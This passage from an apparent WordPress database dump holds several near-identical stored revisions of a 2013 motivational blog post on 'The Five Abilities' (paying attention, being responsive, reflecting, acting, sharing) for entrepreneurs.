seeds.\n\n&nbsp;\n\n<strong>The ability to share</strong>\nSharing is an act of expansion. You can’t expand your capacity to be more unless you share more. Pass it along. Pay it forward. Share the love! Sharing makes you bigger, and when you are bigger, more will come to you. Elevate everyone you come into contact with. Leave everything you touch in an improved condition.\n\n&nbsp;\n\nWhen you discipline yourself to mastery of these Five Abilities, you’ll also develop the art of sacrifice–which is to say you will appreciate the creative power in forsaking all other options to pursue what truly matters to you in business and in life.\n\n&nbsp;\n\nEvery achievement comes down to sacrifice (deciding what you want) and discipline (making it happen). Developing these Five Abilities will ensure your sacrifice and discipline will be well rewarded through your life well lived.', 'The Five Abilities for any achievement', 0, '', 'inherit', 'open', 'open', '', '2403-revision', '', '', '2013-08-08 20:15:29', '2013-08-09 03:15:29', '', 2403, 'http://www.whitehotcenter.com/2013/08/2403-revision/', 0, 'revision', '', 0),
(2406, 2, '2013-08-08 20:15:54', '2013-08-09 03:15:54', '<h1><img class="alignnone size-full wp-image-2404" title="The Five Abilities" src="http://whc.fbdev.org/wp-content/uploads/2013/08/five.jpg" alt="" width="495" height="313" /></h1>\r\n<h1>Creating a bigger, better future in your business and life requires sacrifice and discipline. To help you with those, you’ll need to develop these essential five abilities.</h1>\r\nIf you’re an entrepreneur or solo professional seeking to elevate your scene (impact, influence and income) to the next level, I’m confident you’ve tapped in a few Google searches on the topic of goal setting. No doubt in your search, you’ve probably read a lot about sacrifice and discipline.\r\n\r\nHow do you feel about the words “sacrifice” and “discipline”? When you read the opening line of this post did those words feel like prison or freedom to you?  Your feelings about those words may reveal a clue as to the speed and velocity at which you’ll turn possibility into achievement. Think about it…\r\n\r\nTo appreciate the creative power sacrifice and discipline has on the speed and velocity of achieving your goals, you need to possess a fully developed set of other abilities that will enable you to make the right decisions about what you want, and the action necessary to make it happen. I call them “The Five Abilities”.\r\n\r\nMany years ago when I was starting my own marketing communications agency, I was starving for knowledge on personal achievement and success.  I had no confidence (over blind ambition) that I knew how to be successful or even processed the ability to be successful. I knew my craft well; but that was no guarantee I could grow a successful business and feed my young family.\r\n\r\nAfter long and laborious pre internet searching (“seek and ye shall find”), I finally came across five timeless principles (in a book or tape now long forgotten) that deeply resonated with my ambition to achieve my early goals. Although I have forgotten the source, I never forgot the teaching about what specific abilities all extraordinary achievers throughout time have in common.\r\n<h2>After studied these first principles and integrated them into my own thinking and behavior, I began to see some amazing results. What a shock–it works!</h2>\r\nThings started (slowly at first) to move in the right direction and I began to achieve my goals. This was an extraordinary lesson for me to learn in those early years of my professional life. Over the passing years, with every new achievement came new challenges. We call that personal growth and it has no end. To this day, I continue my study and practice of these five essential abilities for any life achievement:\r\n\r\n<strong>The ability to pay attention</strong>\r\nDon’t miss a thing! Don’t waste a moment! Let each day of your life be a full experience. Suck everything out of every experience, encounter, opportunity that comes your way!  Absorb it all!  Use everything for your upliftment and advancement. Get really good at the habit of being present in the moment, pay attention to every detail, be focused and more aware and prepared.\r\n\r\n<strong>The ability to be responsive</strong>\r\nLet yourself feel! Let life in! Open the window and the doors! Let some fresh air into your life. Allow life all its expressions to unfold and touch you– move you! You are not stone! Respond to what life reveals by feeling what your emotions teach you about your outer and inner life philosophy.\r\n\r\n<strong>The ability to reflect</strong>\r\nTake time each day to reflect on your day! Go back over your first thought of the day. What did you learn? Who did you serve? Study your own life in every day. Reflect on all the knowledge you gained today and invest that knowledge in tomorrow. Learn from your days, your weeks, your months, the past year and the past decade.  Keep a journal. It’s the best tool I know of to help me reflect on my day. Solitude works wonders too.\r\n\r\n<strong>The ability to act</strong>\r\nTake deliberate action! Strike when the opportunity is hot. Don’t allow the law of diminished intent rob you of your bigger, better future. Start with what you have and from where you stand. There is no shortage of supply! Labor well in the garden of your life and always be planting seeds.\r\n\r\n<strong>The ability to share</strong>\r\nSharing is an act of expansion. You can’t expand your capacity to be more unless you share more. Pass it along. Pay it forward. Share the love! Sharing makes you bigger, and when you are bigger, more will come to you. Elevate everyone you come into contact with. Leave everything you touch in an improved condition.\r\n\r\nWhen you discipline yourself to mastery of these Five Abilities, you’ll also develop the art of sacrifice–which is to say you will appreciate the creative power in forsaking all other options to pursue what truly matters to you in business and in life. Every achievement comes down to sacrifice (deciding what you want) and discipline (making it happen). Developing these Five Abilities will ensure your sacrifice and discipline will be well rewarded through your life well lived.', 'The Five Abilities for any achievement', 0, '', 'inherit', 'open', 'open', '', '2403-revision-2', '', '', '2013-08-08 20:15:54', '2013-08-09 03:15:54', '', 2403, 'http://www.whitehotcenter.com/2013/08/2403-revision-2/', 0, 'revision', '', 0),
(2407, 2, '2013-08-08 20:16:08', '2013-08-09 03:16:08', '<h1><img class="alignnone size-full wp-image-2404" title="The Five Abilities" src="http://whc.fbdev.org/wp-content/uploads/2013/08/five.jpg" alt="" width="495" height="313" /></h1>\r\n<h1>Creating a bigger, better future in your business and life requires sacrifice and discipline. To help you with those, you’ll need to develop these essential five abilities.</h1>\r\nIf you’re an entrepreneur or solo professional seeking to elevate your scene (impact, influence and income) to the next level, I’m confident you’ve tapped in a few Google searches on the topic of goal setting. No doubt in your search, you’ve probably read a lot about sacrifice and discipline.\r\n\r\nHow do you feel about the words “sacrifice” and “discipline”? When you read the opening line of this post did those words feel like prison or freedom to you?  Your feelings about those words may reveal a clue as to the speed and velocity at which you’ll turn possibility into achievement. Think about it…\r\n\r\nTo appreciate the creative power sacrifice and discipline has on the speed and velocity of achieving your goals, you need to possess a fully developed set of other abilities that will enable you to make the right decisions about what you want, and the action necessary to make it happen. I call them “The Five Abilities”.\r\n\r\nMany years ago when I was starting my own marketing communications agency, I was starving for knowledge on personal achievement and success.  I had no confidence (over blind ambition) that I knew how to be successful or even processed the ability to be successful. I knew my craft well; but that was no guarantee I could grow a successful business and feed my young family.\r\n\r\nAfter long and laborious pre internet searching (“seek and ye shall find”), I finally came across five timeless principles (in a book or tape now long forgotten) that deeply resonated with my ambition to achieve my early goals. Although I have forgotten the source, I never forgot the teaching about what specific abilities all extraordinary achievers throughout time have in common.\r\n<h2>After studied these first principles and integrated them into my own thinking and behavior, I began to see some amazing results. What a shock–it works!</h2>\r\nThings started (slowly at first) to move in the right direction and I began to achieve my goals. This was an extraordinary lesson for me to learn in those early years of my professional life. Over the passing years, with every new achievement came new challenges. We call that personal growth and it has no end. To this day, I continue my study and practice of these five essential abilities for any life achievement:\r\n\r\n<strong>The ability to pay attention</strong>\r\nDon’t miss a thing! Don’t waste a moment! Let each day of your life be a full experience. Suck everything out of every experience, encounter, opportunity that comes your way!  Absorb it all!  Use everything for your upliftment and advancement. Get really good at the habit of being present in the moment, pay attention to every detail, be focused and more aware and prepared.\r\n\r\n<strong>The ability to be responsive</strong>\r\nLet yourself feel! Let life in! Open the window and the doors! Let some fresh air into your life. Allow life all its expressions to unfold and touch you– move you! You are not stone! Respond to what life reveals by feeling what your emotions teach you about your outer and inner life philosophy.\r\n\r\n<strong>The ability to reflect</strong>\r\nTake time each day to reflect on your day! Go back over your first thought of the day. What did you learn? Who did you serve? Study your own life in every day. Reflect on all the knowledge you gained today and invest that knowledge in tomorrow. Learn from your days, your weeks, your months, the past year and the past decade.  Keep a journal. It’s the best tool I know of to help me reflect on my day. Solitude works wonders too.\r\n\r\n<strong>The ability to act</strong>\r\nTake deliberate action! Strike when the opportunity is hot. Don’t allow the law of diminished intent rob you of your bigger, better future. Start with what you have and from where you stand. There is no shortage of supply! Labor well in the garden of your life and always be planting seeds.\r\n\r\n<strong>The ability to share</strong>\r\nSharing is an act of expansion. You can’t expand your capacity to be more unless you share more. Pass it along. Pay it forward. Share the love! Sharing makes you bigger, and when you are bigger, more will come to you. Elevate everyone you come into contact with. Leave everything you touch in an improved condition.\r\n\r\nWhen you discipline yourself to mastery of these Five Abilities, you’ll also develop the art of sacrifice–which is to say you will appreciate the creative power in forsaking all other options to pursue what truly matters to you in business and in life. Every achievement comes down to sacrifice (deciding what you want) and discipline (making it happen). Developing these Five Abilities will ensure your sacrifice and discipline will be well rewarded through your life well lived.', 'The Five Abilities for any achievement', 0, '', 'inherit', 'open', 'open', '', '2403-revision-3', '', '', '2013-08-08 20:16:08', '2013-08-09 03:16:08', '', 2403, 'http://www.whitehotcenter.com/2013/08/2403-revision-3/', 0, 'revision', '', 0),
(2408, 2, '2013-08-08 20:26:01', '2013-08-09 03:26:01', '<h1><img class="alignnone size-full wp-image-2404" title="The Five Abilities" src="http://whc.fbdev.org/wp-content/uploads/2013/08/five.jpg" alt="" width="495" height="313" /></h1>\r\n<h1>Creating a bigger, better future in your business and life requires sacrifice and discipline. To help you with those, you’ll need to develop these essential five abilities.</h1>\r\nIf you’re an entrepreneur or solo professional seeking to elevate your scene (impact, influence and income) to the next level, I’m confident you’ve tapped in a few Google searches on the topic of goal setting. No doubt in your search, you’ve probably read a lot about sacrifice and discipline.\r\n\r\nHow do you feel about the words “sacrifice” and “discipline”? When you read the opening line of this post did those words feel like prison or freedom to you?  Your feelings about those words may reveal a clue as to the speed and velocity at which you’ll turn possibility into achievement. Think about it…\r\n\r\nTo appreciate the creative power sacrifice and discipline has on the speed and velocity of achieving your goals, you need to possess a fully developed set of other abilities that will enable you to make the right decisions about what you want, and the action necessary to make it happen. I call them “The Five Abilities”.\r\n\r\nMany years ago when I was starting my own marketing communications agency, I was starving for knowledge on personal achievement and success.  I had no confidence (over blind ambition) that I knew how to be successful or even processed the ability to be successful. I knew my craft well; but that was no guarantee I could grow a successful business and feed my young family.\r\n\r\nAfter long and laborious pre internet searching (“seek and ye shall find”), I finally came across five timeless principles (in a book or tape now long forgotten) that deeply resonated with my ambition to achieve my early goals. Although I have forgotten the source, I never forgot the teaching about what specific abilities all extraordinary achievers throughout time have in common.\r\n<h2>After studying these first principles and integrated them into my own thinking and behavior, I began to see some amazing results. What a shock–this stuff works!</h2>\r\nThings started (slowly at first) to move in the right direction and I began to achieve my goals. This was an extraordinary lesson for me to learn in those early years of my professional life. Over the passing years, with every new achievement came new challenges. Truth be told, I am facing  some exciting challenges at this time– I can use a refresher.  We call that personal growth and it has no end. To this day, I continue my study and practice of these five essential abilities for any life achievement:\r\n\r\n<strong>The ability to pay attention</strong>\r\nDon’t miss a thing! Don’t waste a moment! Let each day of your life be a full experience. Suck everything out of every experience, encounter, opportunity that comes your way!  Absorb it all!  Use everything for your upliftment and advancement. Get really good at the habit of being present in the moment, pay attention to every detail, be focused and more aware and prepared.\r\n\r\n<strong>The ability to be responsive</strong>\r\nLet yourself feel! Let life in! Open the window and the doors! Let some fresh air into your life. Allow life all its expressions to unfold and touch you– move you! You are not stone! Respond to what life reveals by feeling what your emotions teach you about your outer and inner life philosophy.\r\n\r\n<strong>The ability to reflect</strong>\r\nTake time each day to reflect on your day! Go back over your first thought of the day. What did you learn? Who did you serve? Study your own life in every day. Reflect on all the knowledge you gained today and invest that knowledge in tomorrow. Learn from your days, your weeks, your months, the past year and the past decade.  Keep a journal. It’s the best tool I know of to help me reflect on my day. Solitude works wonders too.\r\n\r\n<strong>The ability to act</strong>\r\nTake deliberate action! Strike when the opportunity is hot. Don’t allow the law of diminished intent rob you of your bigger, better future. Start with what you have and from where you stand. There is no shortage of supply! Labor well in the garden of your life and always be planting seeds.\r\n\r\n<strong>The ability to share</strong>\r\nSharing is an act of expansion. You can’t expand your capacity to be more unless you share more. Pass it along. Pay it forward. Share the love! Sharing makes you bigger, and when you are bigger, more will come to you. Elevate everyone you come into contact with. Leave everything you touch in an improved condition.\r\n\r\nWhen you discipline yourself to mastery of these Five Abilities, you’ll also develop the art of sacrifice–which is to say you will appreciate the creative power in forsaking all other options to pursue what truly matters to you in business and in life. Every achievement comes down to sacrifice (deciding what you want) and discipline (making it happen). Developing these Five Abilities will ensure your sacrifice and discipline will be well rewarded through your life well lived.', 'The Five Abilities for any achievement.', 0, '', 'inherit', 'open', 'open', '', '2403-revision-4', '', '', '2013-08-08 20:26:01', '2013-08-09 03:26:01', '', 2403, 'http://www.whitehotcenter.com/2013/08/2403-revision-4/', 0, 'revision', '', 0),
(2409, 2, '2013-08-08 20:26:11', '2013-08-09 03:26:11', '<h1><img class="alignnone size-full wp-image-2404" title="The Five Abilities" src="http://whc.fbdev.org/wp-content/uploads/2013/08/five.jpg" alt="" width="495" height="313" /></h1>\r\n<h1>Creating a bigger, better future in your business and life requires sacrifice and discipline. To help you with those, you’ll need to develop these essential five abilities.</h1>\r\nIf you’re an entrepreneur or solo professional seeking to elevate your scene (impact, influence and income) to the next level, I’m confident you’ve tapped in a few Google searches on the topic of goal setting. No doubt in your search, you’ve probably read a lot about sacrifice and discipline.\r\n\r\nHow do you feel about the words “sacrifice” and “discipline”? When you read the opening line of this post did those words feel like prison or freedom to you?  Your feelings about those words may reveal a clue as to the speed and velocity at which you’ll turn possibility into achievement. Think about it…\r\n\r\nTo appreciate the creative power sacrifice and discipline has on the speed and velocity of achieving your goals, you need to possess a fully developed set of other abilities that will enable you to make the right decisions about what you want, and the action necessary to make it happen. I call them “The Five Abilities”.\r\n\r\nMany years ago when I was starting my own marketing communications agency, I was starving for knowledge on personal achievement and success.  I had no confidence (over blind ambition) that I knew how to be successful or even processed the ability to be successful. I knew my craft well; but that was no guarantee I could grow a successful business and feed my young family.\r\n\r\nAfter long and laborious pre internet searching (“seek and ye shall find”), I finally came across five timeless principles (in a book or tape now long forgotten) that deeply resonated with my ambition to achieve my early goals. Although I have forgotten the source, I never forgot the teaching about what specific abilities all extraordinary achievers throughout time have in common.\r\n<h2>After studying these first principles and integrated them into my own thinking and behavior, I began to see some amazing results. What a shock–this stuff works!</h2>\r\nThings started (slowly at first) to move in the right direction and I began to achieve my goals. This was an extraordinary lesson for me to learn in those early years of my professional life. Over the passing years, with every new achievement came new challenges. Truth be told, I am facing  some exciting challenges at this time– I can use a refresher.  We call that personal growth and it has no end. To this day, I continue my study and practice of these five essential abilities for any life achievement:\r\n\r\n<strong>The ability to pay attention</strong>\r\nDon’t miss a thing! Don’t waste a moment! Let each day of your life be a full experience. Suck everything out of every experience, encounter, opportunity that comes your way!  Absorb it all!  Use everything for your upliftment and advancement. Get really good at the habit of being present in the moment, pay attention to every detail, be focused and more aware and prepared.\r\n\r\n<strong>The ability to be responsive</strong>\r\nLet yourself feel! Let life in! Open the window and the doors! Let some fresh air into your life. Allow life all its expressions to unfold and touch you– move you! You are not stone! Respond to what life reveals by feeling what your emotions teach you about your outer and inner life philosophy.\r\n\r\n<strong>The ability to reflect</strong>\r\nTake time each day to reflect on your day! Go back over your first thought of the day. What did you learn? Who did you serve? Study your own life in every day. Reflect on all the knowledge you gained today and invest that knowledge in tomorrow. Learn from your days, your weeks, your months, the past year and the past decade.  Keep a journal. It’s the best tool I know of to help me reflect on my day. Solitude works wonders too.\r\n\r\n<strong>The ability to act</strong>\r\nTake deliberate action! Strike when the opportunity is hot. Don’t allow the law of diminished intent rob you of your bigger, better future. Start with what you have and from where you stand. There is no shortage of supply! Labor well in the garden of your life and always be planting seeds.\r\n\r\n<strong>The ability to share</strong>\r\nSharing is an act of expansion. You can’t expand your capacity to be more unless you share more. Pass it along. Pay it forward. Share the love! Sharing makes you bigger, and when you are bigger, more will come to you. Elevate everyone you come into contact with. Leave everything you touch in an improved condition.\r\n\r\nWhen you discipline yourself to mastery of these Five Abilities, you’ll also develop the art of sacrifice–which is to say you will appreciate the creative power in forsaking all other options to pursue what truly matters to you in business and in life. Every achievement comes down to sacrifice (deciding what you want) and discipline (making it happen). Developing these Five Abilities will ensure your sacrifice and discipline will be well rewarded through your life well lived.', 'The Five Abilities for any achievement.', 0, '', 'inherit', 'open', 'open', '', '2403-revision-5', '', '', '2013-08-08 20:26:11', '2013-08-09 03:26:11', '', 2403, 'http://www.whitehotcenter.com/2013/08/2403-revision-5/', 0, 'revision', '', 0),
(2410, 2, '2013-08-08 20:42:13', '2013-08-09 03:42:13', '<h1><img class="alignnone size-full wp-image-2404" title="The Five Abilities" src="http://whc.fbdev.org/wp-content/uploads/2013/08/five.jpg" alt="" width="495" height="313" /></h1>\n<h1>Creating a bigger, better future in your business and life requires sacrifice and discipline. To help you with those, you’ll need to develop these essential five abilities.</h1>\nIf you’re an entrepreneur or solo professional seeking to elevate your scene (impact, influence and income) to the next level, I’m confident you’ve tapped in a few Google searches on the topic of goal setting. No doubt in your search, you’ve probably read a lot about sacrifice and discipline.\n\nHow do you feel about the words “sacrifice” and “discipline”? When you read the opening line of this post did those words feel like prison or freedom to you?  Your feelings about those words may reveal a clue as to the speed and velocity at which you’ll turn possibility into achievement. Think about it…\n\nTo appreciate the creative power sacrifice and discipline has on the speed and velocity of achieving your goals, you need to possess a fully developed set of other abilities that will enable you to make the right decisions about what you want, and the action necessary to make it happen. I call them “The Five Abilities”.\n\nMany years ago when I was starting my own marketing communications agency, I was starving for knowledge on personal achievement and success.  I had no confidence (over blind ambition) that I knew how to be successful or even processed the ability to be successful. I knew my craft well; but that was no guarantee I could grow a successful business and feed my young family.\n\nAfter long and laborious pre internet searching (“seek and ye shall find”), I finally came across five timeless principles (in a book or tape now long forgotten) that deeply resonated with my ambition to achieve my early goals. Although I have forgotten the source, I never forgot the teaching about what specific abilities all extraordinary achievers throughout time have in common.\n<h2>After studying these first principles and integrated them into my own thinking and behavior, I began to see some amazing results. What a shock–this stuff works!</h2>\nThings started (slowly at first) to move in the right direction and I began to achieve my goals. This was an extraordinary lesson for me to learn in those early years of my professional life.\n\nOver the passing years, with every new achievement came new challenges. Truth be told, I''m facing some exciting, yet demanding challenges right now– I can use a refresher. We call that personal growth and it has no end. As I set new goals and face new challenges in my own life, I thought I would share these abilities with you in hopes it may inspire you to keep believing in your life goals. To this day, I continue my study and practice of these five essential abilities for any life achievement:\n\n<strong>The ability to pay attention</strong>\nDon’t miss a thing! Don’t waste a moment! Let each day of your life be a full experience. Suck everything out of every experience, encounter, opportunity that comes your way!  Absorb it all!  Use everything for your upliftment and advancement. Get really good at the habit of being present in the moment, pay attention to every detail, be focused and more aware and prepared.\n\n<strong>The ability to be responsive</strong>\nLet yourself feel! Let life in! Open the window and the doors! Let some fresh air into your life. Allow life in all its expressions unfold and touch you– move you! You are not stone! Respond to what life reveals by feeling what your emotions teach you about your outer and inner life philosophy.\n\n<strong>The ability to reflect</strong>\nTake time each day to reflect on your day! Go back over your first thought of the day. What did you learn? Who did you serve? Study your own life in every day. Reflect on all the knowledge you gained today and invest that knowledge in tomorrow. Learn from your days, your weeks, your months, the past year and the past decade.  Keep a journal. It’s the best tool I know of to help me reflect on my day. Solitude works wonders too.\n\n<strong>The ability to act</strong>\nTake deliberate action! Strike when the opportunity is hot. Don’t allow the law of diminished intent rob you of your bigger, better future. Start with what you have and from where you stand. There is no shortage of supply! Labor well in the garden of your life and always be planting seeds.\n\n<strong>The ability to share</strong>\nSharing is an act of expansion. You can’t expand your capacity to be more unless you share more. Pass it along. Pay it forward. Share the love! Sharing makes you bigger, and when you are bigger, more will come to you. Elevate everyone you come into contact with. Leave everything you touch in an improved condition.\n\nI"ve never stopped learning these abilities. I know from my own experience, when you discipline yourself to mastery of these Five Abilities, you’ll also develop the art of sacrifice–which is to say you will appreciate the creative powers released by forsaking all other options to pursue what truly matters to you in business and in life. Every achievement comes down to sacrifice (deciding what you want) and discipline (making it happen). Developing these Five Abilities will ensure your sacrifice and discipline will be well rewarded through your life well lived.', 'The Five Abilities for any achievement.', 0, '', 'inherit', 'open', 'open', '', '2403-revision-6', '', '', '2013-08-08 20:42:13', '2013-08-09 03:42:13', '', 2403, 'http://www.whitehotcenter.com/2013/08/2403-revision-6/', 0, 'revision', '', 0);
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(2417, 2, '2013-08-08 20:55:13', '2013-08-09 03:55:13', '<h1><img class="alignnone size-full wp-image-2404" title="The Five Abilities" src="http://whc.fbdev.org/wp-content/uploads/2013/08/five.jpg" alt="" width="495" height="313" /></h1>\n<h1>Creating a bigger, better future in your business and life requires sacrifice and discipline. To help you with those, you’ll need to develop these essential five abilities.</h1>\nIf you’re an entrepreneur or solo professional seeking to elevate your scene (impact, influence and income) to the next level, I’m confident you’ve tapped in a few Google searches on the topic of goal setting. No doubt in your search, you’ve probably read a lot about sacrifice and discipline.\n\nHow do you feel about the words “sacrifice” and “discipline”? When you read the opening line of this post did those words feel like prison or freedom to you?  Your feelings about those words may reveal a clue as to the speed and velocity at which you’ll turn possibility into achievement. Think about it…\n\nTo appreciate the creative power sacrifice and discipline has on the speed and velocity of achieving your goals, you need to possess a fully developed set of other abilities that will enable you to make the right decisions about what you want, and the action necessary to make it happen. I call them “The Five Abilities”.\n\nMany years ago when I was starting my own marketing communications agency, I was starving for knowledge on personal achievement and success.  I had no confidence (over blind ambition) that I knew how to be successful or even processed the ability to be successful. I knew my craft well; but that was no guarantee I could grow a successful business and feed my young family.\n\nAfter long and laborious pre internet searching (“seek and ye shall find”), I finally came across five timeless principles (in a book or tape now long forgotten) that deeply resonated with my ambition to achieve my early goals. Although I have forgotten the source, I never forgot the teaching about what specific abilities all extraordinary achievers throughout time have in common.\n<h2>After studying these first principles and integrated them into my own thinking and behavior, I began to see some amazing results. What a shock–this stuff works!</h2>\nThings started (slowly at first) to move in the right direction and I began to achieve my goals. This was an extraordinary lesson for me to learn in those early years of my entrepreneurial life.\n\nOver the passing years, with every new achievement came new challenges. Truth be told, I''m facing some exciting, yet demanding challenges right now– I can use a refresher. We call that personal growth and it has no end.\n\nAs I set new goals and face new challenges in my life, I thought I would share these abilities with you in hopes it may inspire you to keep believing in your life goals. To this day, I continue my study and practice of these five essential abilities for any life achievement:\n\n<strong>The ability to pay attention</strong>\nDon’t miss a thing! Don’t waste a moment! Let each day of your life be a full experience. Suck everything out of every experience, encounter, opportunity that comes your way!  Absorb it all!  Use everything for your upliftment and advancement. Get really good at the habit of being present in the moment, pay attention to every detail, be focused and more aware and prepared.\n\n<strong>The ability to be responsive</strong>\nLet yourself feel! Let life in! Open the window and the doors! Let some fresh air into your life. Allow life in all its expressions unfold and touch you– move you! You are not stone! Respond to what life reveals by feeling what your emotions teach you about your outer and inner life philosophy.\n\n<strong>The ability to reflect</strong>\nTake time each day to reflect on your day! Go back over your first thought of the day. What did you learn? Who did you serve? Study your own life in every day. Reflect on all the knowledge you gained today and invest that knowledge in tomorrow. Learn from your days, your weeks, your months, the past year and the past decade.  Keep a journal. It’s the best tool I know of to help me reflect on my day. Solitude works wonders too.\n\n<strong>The ability to act</strong>\nTake deliberate action! Strike when the opportunity is hot. Don’t allow the law of diminished intent rob you of your bigger, better future. Start with what you have and from where you stand. There is no shortage of supply! Labor well in the garden of your life and always be planting seeds.\n\n<strong>The ability to share</strong>\nSharing is an act of expansion. You can’t expand your capacity to be more unless you share more. Pass it along. Pay it forward. Share the love! Sharing makes you bigger, and when you are bigger, more will come to you. Elevate everyone you come into contact with. Leave everything you touch in an improved condition.\n\nI"ve never stopped learning these abilities. I know from my own experience, when you discipline yourself to mastery of these Five Abilities, you’ll also develop the art of sacrifice–which is to say you will appreciate the creative powers released by forsaking all other options to pursue what truly matters to you in business and in life. Every achievement comes down to sacrifice (deciding what you want) and discipline (making it happen). Developing these Five Abilities will ensure your sacrifice and discipline will be well rewarded through your life well lived.', 'The Five Abilities for any achievement.', 0, '', 'inherit', 'open', 'open', '', '2403-revision-13', '', '', '2013-08-08 20:55:13', '2013-08-09 03:55:13', '', 2403, 'http://www.whitehotcenter.com/2013/08/2403-revision-13/', 0, 'revision', '', 0),
(2411, 2, '2013-08-08 20:42:15', '2013-08-09 03:42:15', '<h1><img class="alignnone size-full wp-image-2404" title="The Five Abilities" src="http://whc.fbdev.org/wp-content/uploads/2013/08/five.jpg" alt="" width="495" height="313" /></h1>\r\n<h1>Creating a bigger, better future in your business and life requires sacrifice and discipline. To help you with those, you’ll need to develop these essential five abilities.</h1>\r\nIf you’re an entrepreneur or solo professional seeking to elevate your scene (impact, influence and income) to the next level, I’m confident you’ve tapped in a few Google searches on the topic of goal setting. No doubt in your search, you’ve probably read a lot about sacrifice and discipline.\r\n\r\nHow do you feel about the words “sacrifice” and “discipline”? When you read the opening line of this post did those words feel like prison or freedom to you?  Your feelings about those words may reveal a clue as to the speed and velocity at which you’ll turn possibility into achievement. Think about it…\r\n\r\nTo appreciate the creative power sacrifice and discipline has on the speed and velocity of achieving your goals, you need to possess a fully developed set of other abilities that will enable you to make the right decisions about what you want, and the action necessary to make it happen. I call them “The Five Abilities”.\r\n\r\nMany years ago when I was starting my own marketing communications agency, I was starving for knowledge on personal achievement and success.  I had no confidence (over blind ambition) that I knew how to be successful or even processed the ability to be successful. I knew my craft well; but that was no guarantee I could grow a successful business and feed my young family.\r\n\r\nAfter long and laborious pre internet searching (“seek and ye shall find”), I finally came across five timeless principles (in a book or tape now long forgotten) that deeply resonated with my ambition to achieve my early goals. Although I have forgotten the source, I never forgot the teaching about what specific abilities all extraordinary achievers throughout time have in common.\r\n<h2>After studying these first principles and integrated them into my own thinking and behavior, I began to see some amazing results. What a shock–this stuff works!</h2>\r\nThings started (slowly at first) to move in the right direction and I began to achieve my goals. This was an extraordinary lesson for me to learn in those early years of my professional life.\r\n\r\nOver the passing years, with every new achievement came new challenges. Truth be told, I''m facing some exciting, yet demanding challenges right now– I can use a refresher. We call that personal growth and it has no end. As I set new goals and face new challenges in my own life, I thought I would share these abilities with you in hopes it may inspire you to keep believing in your life goals. To this day, I continue my study and practice of these five essential abilities for any life achievement:\r\n\r\n<strong>The ability to pay attention</strong>\r\nDon’t miss a thing! Don’t waste a moment! Let each day of your life be a full experience. Suck everything out of every experience, encounter, opportunity that comes your way!  Absorb it all!  Use everything for your upliftment and advancement. Get really good at the habit of being present in the moment, pay attention to every detail, be focused and more aware and prepared.\r\n\r\n<strong>The ability to be responsive</strong>\r\nLet yourself feel! Let life in! Open the window and the doors! Let some fresh air into your life. Allow life in all its expressions unfold and touch you– move you! You are not stone! Respond to what life reveals by feeling what your emotions teach you about your outer and inner life philosophy.\r\n\r\n<strong>The ability to reflect</strong>\r\nTake time each day to reflect on your day! Go back over your first thought of the day. What did you learn? Who did you serve? Study your own life in every day. Reflect on all the knowledge you gained today and invest that knowledge in tomorrow. Learn from your days, your weeks, your months, the past year and the past decade.  Keep a journal. It’s the best tool I know of to help me reflect on my day. Solitude works wonders too.\r\n\r\n<strong>The ability to act</strong>\r\nTake deliberate action! Strike when the opportunity is hot. Don’t allow the law of diminished intent rob you of your bigger, better future. Start with what you have and from where you stand. There is no shortage of supply! Labor well in the garden of your life and always be planting seeds.\r\n\r\n<strong>The ability to share</strong>\r\nSharing is an act of expansion. You can’t expand your capacity to be more unless you share more. Pass it along. Pay it forward. Share the love! Sharing makes you bigger, and when you are bigger, more will come to you. Elevate everyone you come into contact with. Leave everything you touch in an improved condition.\r\n\r\nI"ve never stopped learning these abilities. I know from my own experience, when you discipline yourself to mastery of these Five Abilities, you’ll also develop the art of sacrifice–which is to say you will appreciate the creative powers released by forsaking all other options to pursue what truly matters to you in business and in life. Every achievement comes down to sacrifice (deciding what you want) and discipline (making it happen). Developing these Five Abilities will ensure your sacrifice and discipline will be well rewarded through your life well lived.', 'The Five Abilities for any achievement.', 0, '', 'inherit', 'open', 'open', '', '2403-revision-7', '', '', '2013-08-08 20:42:15', '2013-08-09 03:42:15', '', 2403, 'http://www.whitehotcenter.com/2013/08/2403-revision-7/', 0, 'revision', '', 0),
(2412, 2, '2013-08-08 20:42:33', '2013-08-09 03:42:33', '<h1><img class="alignnone size-full wp-image-2404" title="The Five Abilities" src="http://whc.fbdev.org/wp-content/uploads/2013/08/five.jpg" alt="" width="495" height="313" /></h1>\r\n<h1>Creating a bigger, better future in your business and life requires sacrifice and discipline. To help you with those, you’ll need to develop these essential five abilities.</h1>\r\nIf you’re an entrepreneur or solo professional seeking to elevate your scene (impact, influence and income) to the next level, I’m confident you’ve tapped in a few Google searches on the topic of goal setting. No doubt in your search, you’ve probably read a lot about sacrifice and discipline.\r\n\r\nHow do you feel about the words “sacrifice” and “discipline”? When you read the opening line of this post did those words feel like prison or freedom to you?  Your feelings about those words may reveal a clue as to the speed and velocity at which you’ll turn possibility into achievement. Think about it…\r\n\r\nTo appreciate the creative power sacrifice and discipline has on the speed and velocity of achieving your goals, you need to possess a fully developed set of other abilities that will enable you to make the right decisions about what you want, and the action necessary to make it happen. I call them “The Five Abilities”.\r\n\r\nMany years ago when I was starting my own marketing communications agency, I was starving for knowledge on personal achievement and success.  I had no confidence (over blind ambition) that I knew how to be successful or even processed the ability to be successful. I knew my craft well; but that was no guarantee I could grow a successful business and feed my young family.\r\n\r\nAfter long and laborious pre internet searching (“seek and ye shall find”), I finally came across five timeless principles (in a book or tape now long forgotten) that deeply resonated with my ambition to achieve my early goals. Although I have forgotten the source, I never forgot the teaching about what specific abilities all extraordinary achievers throughout time have in common.\r\n<h2>After studying these first principles and integrated them into my own thinking and behavior, I began to see some amazing results. What a shock–this stuff works!</h2>\r\nThings started (slowly at first) to move in the right direction and I began to achieve my goals. This was an extraordinary lesson for me to learn in those early years of my professional life.\r\n\r\nOver the passing years, with every new achievement came new challenges. Truth be told, I''m facing some exciting, yet demanding challenges right now– I can use a refresher. We call that personal growth and it has no end. As I set new goals and face new challenges in my own life, I thought I would share these abilities with you in hopes it may inspire you to keep believing in your life goals. To this day, I continue my study and practice of these five essential abilities for any life achievement:\r\n\r\n<strong>The ability to pay attention</strong>\r\nDon’t miss a thing! Don’t waste a moment! Let each day of your life be a full experience. Suck everything out of every experience, encounter, opportunity that comes your way!  Absorb it all!  Use everything for your upliftment and advancement. Get really good at the habit of being present in the moment, pay attention to every detail, be focused and more aware and prepared.\r\n\r\n<strong>The ability to be responsive</strong>\r\nLet yourself feel! Let life in! Open the window and the doors! Let some fresh air into your life. Allow life in all its expressions unfold and touch you– move you! You are not stone! Respond to what life reveals by feeling what your emotions teach you about your outer and inner life 